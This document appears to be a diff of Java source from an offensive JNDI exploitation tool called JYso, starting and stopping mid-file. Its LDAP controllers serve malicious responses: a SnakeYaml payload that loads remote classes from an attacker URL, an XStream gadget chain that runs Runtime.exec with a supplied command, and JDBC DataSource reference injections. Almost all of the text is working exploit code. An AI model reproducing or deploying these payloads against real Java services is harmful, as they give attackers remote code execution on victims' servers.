base = base.replace('\\', '/');
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
try {
|
||||
gadgetType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||
}
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
int fourIndex = base.indexOf("/", thirdIndex + 1);
|
||||
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
|
||||
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
|
||||
// 若第三个斜杠不存在,则把其设置成为字符串的长度
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
PayloadType payloadType;
|
||||
try {
|
||||
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
|
||||
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
|
||||
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
|
||||
if (payloadType == PayloadType.sethttp) {
|
||||
params = BCEL1;
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
|
||||
}
|
||||
|
||||
if (payloadType == PayloadType.command) {
|
||||
|
||||
if (gadgetType1 == GadgetType.base64) {
|
||||
cmd11 = Utils.getCmdFromBase(base);
|
||||
}
|
||||
|
||||
if (gadgetType1 == GadgetType.base64Two) {
|
||||
String encodedString = Utils.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
|
||||
String T1 = new String(decodedBytes);
|
||||
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
|
||||
cmd11 = new String(decodedBytes1);
|
||||
}
|
||||
|
||||
params = cmd11;
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,71 +1,71 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/snakeyaml"})
|
||||
public class SnakeYamlController implements LdapController {
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String");
|
||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
String yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"" + params[0] + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
ref.add(new StringRefAddr("forceString", "a=load"));
|
||||
ref.add(new StringRefAddr("a", yaml));
|
||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
|
||||
if (thirdIndex != -1) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/snakeyaml"})
|
||||
public class SnakeYamlController implements LdapController {
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String");
|
||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
String yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"" + params[0] + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
ref.add(new StringRefAddr("forceString", "a=load"));
|
||||
ref.add(new StringRefAddr("a", yaml));
|
||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
|
||||
if (thirdIndex != -1) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,92 +1,92 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/xstream"})
|
||||
public class XStreamController implements LdapController {
|
||||
private String[] params;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
|
||||
" <unserializable-parents/>\n" +
|
||||
" <java.util.PriorityQueue>\n" +
|
||||
" <default>\n" +
|
||||
" <size>2</size>\n" +
|
||||
" </default>\n" +
|
||||
" <int>3</int>\n" +
|
||||
" <dynamic-proxy>\n" +
|
||||
" <interface>java.lang.Comparable</interface>\n" +
|
||||
" <handler class='sun.tracing.NullProvider'>\n" +
|
||||
" <active>true</active>\n" +
|
||||
" <providerType>java.lang.Comparable</providerType>\n" +
|
||||
" <probes>\n" +
|
||||
" <entry>\n" +
|
||||
" <method>\n" +
|
||||
" <class>java.lang.Comparable</class>\n" +
|
||||
" <name>compareTo</name>\n" +
|
||||
" <parameter-types>\n" +
|
||||
" <class>java.lang.Object</class>\n" +
|
||||
" </parameter-types>\n" +
|
||||
" </method>\n" +
|
||||
" <sun.tracing.dtrace.DTraceProbe>\n" +
|
||||
" <proxy class='java.lang.Runtime'/>\n" +
|
||||
" <implementing__method>\n" +
|
||||
" <class>java.lang.Runtime</class>\n" +
|
||||
" <name>exec</name>\n" +
|
||||
" <parameter-types>\n" +
|
||||
" <class>java.lang.String</class>\n" +
|
||||
" </parameter-types>\n" +
|
||||
" </implementing__method>\n" +
|
||||
" </sun.tracing.dtrace.DTraceProbe>\n" +
|
||||
" </entry>\n" +
|
||||
" </probes>\n" +
|
||||
" </handler>\n" +
|
||||
" </dynamic-proxy>\n" +
|
||||
" <string>" + params[0] + "</string>\n" +
|
||||
" </java.util.PriorityQueue>\n" +
|
||||
"</java.util.PriorityQueue>";
|
||||
ref.add(new StringRefAddr("forceString", "a=fromXML"));
|
||||
ref.add(new StringRefAddr("a", xml));
|
||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/xstream"})
|
||||
public class XStreamController implements LdapController {
|
||||
private String[] params;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
|
||||
" <unserializable-parents/>\n" +
|
||||
" <java.util.PriorityQueue>\n" +
|
||||
" <default>\n" +
|
||||
" <size>2</size>\n" +
|
||||
" </default>\n" +
|
||||
" <int>3</int>\n" +
|
||||
" <dynamic-proxy>\n" +
|
||||
" <interface>java.lang.Comparable</interface>\n" +
|
||||
" <handler class='sun.tracing.NullProvider'>\n" +
|
||||
" <active>true</active>\n" +
|
||||
" <providerType>java.lang.Comparable</providerType>\n" +
|
||||
" <probes>\n" +
|
||||
" <entry>\n" +
|
||||
" <method>\n" +
|
||||
" <class>java.lang.Comparable</class>\n" +
|
||||
" <name>compareTo</name>\n" +
|
||||
" <parameter-types>\n" +
|
||||
" <class>java.lang.Object</class>\n" +
|
||||
" </parameter-types>\n" +
|
||||
" </method>\n" +
|
||||
" <sun.tracing.dtrace.DTraceProbe>\n" +
|
||||
" <proxy class='java.lang.Runtime'/>\n" +
|
||||
" <implementing__method>\n" +
|
||||
" <class>java.lang.Runtime</class>\n" +
|
||||
" <name>exec</name>\n" +
|
||||
" <parameter-types>\n" +
|
||||
" <class>java.lang.String</class>\n" +
|
||||
" </parameter-types>\n" +
|
||||
" </implementing__method>\n" +
|
||||
" </sun.tracing.dtrace.DTraceProbe>\n" +
|
||||
" </entry>\n" +
|
||||
" </probes>\n" +
|
||||
" </handler>\n" +
|
||||
" </dynamic-proxy>\n" +
|
||||
" <string>" + params[0] + "</string>\n" +
|
||||
" </java.util.PriorityQueue>\n" +
|
||||
"</java.util.PriorityQueue>";
|
||||
ref.add(new StringRefAddr("forceString", "a=fromXML"));
|
||||
ref.add(new StringRefAddr("a", xml));
|
||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,96 +1,96 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
@LdapMapping(uri = {"/jdbc1"})
|
||||
public class jdbcController1 implements LdapController {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(jdbcController1.class);
|
||||
private static String driverq;
|
||||
|
||||
private static String factoryType;
|
||||
private static String[] params;
|
||||
private static GadgetType gadgetType;
|
||||
|
||||
public static void printResultJDBC1(String base) throws Exception {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
driverq = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
|
||||
try {
|
||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||
|
||||
if (fourthIndex != -1) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry e = new Entry(base);
|
||||
String driver = driverq;
|
||||
String JDBC_URL = params[0];
|
||||
|
||||
e.addAttribute("objectClass", "javaNamingReference");
|
||||
e.addAttribute("javaClassName", "javax.sql.DataSource");
|
||||
e.addAttribute("javaFactory", factoryType);
|
||||
e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
|
||||
try {
|
||||
printResultJDBC1(base);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
@LdapMapping(uri = {"/jdbc1"})
|
||||
public class jdbcController1 implements LdapController {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(jdbcController1.class);
|
||||
private static String driverq;
|
||||
|
||||
private static String factoryType;
|
||||
private static String[] params;
|
||||
private static GadgetType gadgetType;
|
||||
|
||||
public static void printResultJDBC1(String base) throws Exception {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
driverq = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
|
||||
try {
|
||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||
|
||||
if (fourthIndex != -1) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry e = new Entry(base);
|
||||
String driver = driverq;
|
||||
String JDBC_URL = params[0];
|
||||
|
||||
e.addAttribute("objectClass", "javaNamingReference");
|
||||
e.addAttribute("javaClassName", "javax.sql.DataSource");
|
||||
e.addAttribute("javaFactory", factoryType);
|
||||
e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
|
||||
try {
|
||||
printResultJDBC1(base);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,113 +1,113 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import javax.naming.RefAddr;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.util.Enumeration;
|
||||
|
||||
@LdapMapping(uri = {"/jdbc2"})
|
||||
public class jdbcController2 implements LdapController {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(jdbcController2.class);
|
||||
private static String payloadType;
|
||||
private static String factoryType;
|
||||
private static String[] params;
|
||||
private static GadgetType gadgetType;
|
||||
|
||||
public static void printResultJDBC2(String base) throws Exception {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
|
||||
try {
|
||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||
|
||||
if (fourthIndex != -1) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry e = new Entry(base);
|
||||
String driver = payloadType;
|
||||
String JDBC_URL = params[0];
|
||||
|
||||
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
|
||||
ref.add(new StringRefAddr("driverClassName", driver));
|
||||
ref.add(new StringRefAddr("url", JDBC_URL));
|
||||
ref.add(new StringRefAddr("initialSize", "1"));
|
||||
|
||||
e.addAttribute("objectClass", "javaNamingReference");
|
||||
e.addAttribute("javaClassName", ref.getClassName());
|
||||
e.addAttribute("javaFactory", ref.getFactoryClassName());
|
||||
|
||||
Enumeration<RefAddr> enumeration = ref.getAll();
|
||||
int sn = 0;
|
||||
|
||||
while (enumeration.hasMoreElements()) {
|
||||
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
|
||||
